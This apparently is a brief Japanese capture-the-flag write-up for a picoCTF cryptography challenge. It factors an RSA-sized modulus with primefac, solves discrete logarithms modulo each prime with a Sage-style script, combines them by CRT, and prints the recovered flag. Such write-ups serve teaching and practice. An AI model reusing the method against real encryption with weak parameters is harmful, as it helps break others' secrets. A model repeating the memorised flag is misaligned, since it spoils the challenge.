$ python -m primefac 14360817517643493360722432841113382768358287619500085132789974374919633479159690128988568490515293735231011407434574284531621599370900548707353329835497081463193416512792695366204467014389152466532153221900798506636405795232501346118679044619985996010457945781750990152549131611154451937257691936403941437663994475668979370589387164654602186526340010581310963301182624445228683676370919308395084526636733402324436130892805638469608969532614009419230499016506681366629307161301610513749134778555208030614446637109432784739260778403505371903345504559863007430211004764851889442322538052120646413298174167965732523866161
14360817517643493360722432841113382768358287619500085132789974374919633479159690128988568490515293735231011407434574284531621599370900548707353329835497081463193416512792695366204467014389152466532153221900798506636405795232501346118679044619985996010457945781750990152549131611154451937257691936403941437663994475668979370589387164654602186526340010581310963301182624445228683676370919308395084526636733402324436130892805638469608969532614009419230499016506681366629307161301610513749134778555208030614446637109432784739260778403505371903345504559863007430211004764851889442322538052120646413298174167965732523866161: 133120514134071565184901374403906104857402594315193452979400334844456988039351029748429497538981454221984106135005043996378098395846705709422658663585864970394230279241392567216599860405945469882804839379543093459226432299183847151658790842646530907008354991523758458009950957111989465047584759069188272154703 107878320716069936845347261730222923402619282584236808136469656719645067255143372538361375857163594280233925663413568686520703251291382637679919197208920902793419007945364505474185442005931731898039583502138819092649272834779913753377381462765827012568092442233669634217190652686190269458879367972776287369087

それぞれの素数DLP問題を解き、CRTでFLAGを求める。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 0x71c27455f38b75f08868b5965d7afba3d81bff38f3b63271ad9250b9d7dc8c909d3555593c2eff9c27a3c259f8e95da41d55544a362494476141c8ccb93fc7d9019d965a20e16d55daf57b5663ede8d5ad97b7be239ecacb2636621ef997854f18f6da1394101dfb8229a2253dbc3ffc995cc6197bd85455f6178c14dbb9a611b3b42530fcdc5c36c5f63fd3796efdfc440a76cf966ff8c56e7e55872a57aa3a335c2b10a82421bcd1cd0d238496f2830d6524f6ba8e9890e30c4e6ad11df8948f4b428d8089a5d9455baca34cee61cb238042bcf8293aab13595aeb90fedabf23b1d0e82c6882824aa0f78c2208de641d9592a170ed839728f6c7e6b6bdf831
c = 0x2560971fdf742d398ae3e677082ab950e99edde5577abcc4d704d65577ec287169d209f2033c82e7574f7e6c27540bb07416cd12b5fca1bb5c7ae23e80bb00b81a5c49116fa3cca6ab72f4a56b2bf0d51c58eedb918faa1e88d6fddb7dd358c1cdaa6e61964284014919662f75adaad5065a3633067b2297cd4657d39c8e2cdb02fd80ba33447abb8bfcd4dd68166f487094108afe5b4378f5f6eb9209f503b718dec9c841089551db648f5b5a84357b2319eb1b27935c3bc47c645f732d36cfffcb0e7f1c8ec5859413e6d62f7ed9af27f4712ca91bbdb9526ea19414c82090a52a78e6bbc2a756b5756017ee08326cd7b1d5dd9fff6afb12bcb93fb541a542

p = 133120514134071565184901374403906104857402594315193452979400334844456988039351029748429497538981454221984106135005043996378098395846705709422658663585864970394230279241392567216599860405945469882804839379543093459226432299183847151658790842646530907008354991523758458009950957111989465047584759069188272154703
q = 107878320716069936845347261730222923402619282584236808136469656719645067255143372538361375857163594280233925663413568686520703251291382637679919197208920902793419007945364505474185442005931731898039583502138819092649272834779913753377381462765827012568092442233669634217190652686190269458879367972776287369087

g = 3
ps = [p, q]

xs = []
for i in range(2):
    p = ps[i]
    cp = c % p

    R = IntegerModRing(p)
    x = discrete_log(R(cp), R(g))
    xs.append(x)

phis = [p - 1 for p in ps]

FLAG = crt(xs, phis)
FLAG = long_to_bytes(FLAG).decode()
print(FLAG)
picoCTF{fd0d45f6}